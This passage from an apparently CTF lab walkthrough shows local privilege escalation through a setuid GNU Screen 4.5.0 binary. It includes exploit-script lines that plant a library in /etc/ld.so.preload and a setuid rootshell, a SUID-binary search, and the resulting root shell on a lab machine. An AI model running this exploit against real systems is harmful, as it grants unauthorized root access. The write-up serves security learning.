/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
     setuid(0);
     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
     setgid(0);
     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
     seteuid(0);
     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
     setegid(0);
     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^~~~~~
[+] Now we create our /etc/ld.so.preload file...
Directory '/run/screen' must have mode 755.
[+] Triggering...
Directory '/run/screen' must have mode 755.
$ id
uid=1000(drno) gid=1000(drno) groups=1000(drno),1002(super),1003(medic),1004(drugs),1005(doctor)
$

Well, the exploit ran but it didn’t work. :(

We see the error Directory '/run/screen' must have mode 755..

hmnn.. let’s not give up just yet though. Next we have a look at all the permissions of the SUID executable files related to the screen binary.

And we find another screen binary in the /usr/local/share/screen/ directory.

[email protected]:/tmp$ for n in $(find / -type f -perm -4655 -name *screen* 2>/dev/null); do ls -al $n;done
-rwsr-xr-x 1 root root 1543016 Nov 27 13:49 /usr/local/share/screen/screen
-rwSr-xr-x 1 root utmp 457608 Dec  9 22:02 /usr/bin/screen

Interestingly, they’re different sizes. and the one in /usr/bin/ is group utmp lets check the versions they report themselves as.

[email protected]:/tmp$ for n in $(find / -type f -perm -4655 -name *screen* 2>/dev/null); do echo $n && $n -v;done
/usr/local/share/screen/screen
Screen version 4.05.00 (GNU) 10-Dec-16
/usr/bin/screen
Screen version 4.05.00 (GNU) 10-Dec-16

Strangely, they report the same version. Maybe the sysadmin patched screen but forgot to remove the old binary from the system too?

Lets try hardcoding the path to the /usr/local/share/screen/screen file instead and see if that works.

[email protected]:/tmp$ sed -i s'/screen /\/usr\/local\/share\/screen\/screen /'g 41154.sh 
[email protected]:/tmp$ grep share 41154.sh 
# setuid /usr/local/share/screen/screen v4.5.0 local root exploit
/usr/bin/x86_64-linux-gnu-gcc-6 -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
/usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
/usr/local/share/screen/screen -ls # /usr/local/share/screen/screen itself is setuid, so... 
[email protected]:/tmp$ chmod +x 41154.sh 
[email protected]:/tmp$ ./41154.sh 
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^~~~~
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
     setuid(0);
     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
     setgid(0);
     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
     seteuid(0);
     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
     setegid(0);
     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^~~~~~
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-drno.

# id
uid=0(root) gid=0(root) groups=0(root),1000(drno),1002(super),1003(medic),1004(drugs),1005(doctor)

Great, and finally we have the root.txt.

# cd /root/
# cat root.txt
[ROOTHASH REDACTED]

THE END….

Hope it was fun,

Mwennie Fanks…
ȜӎŗgͷͼȜ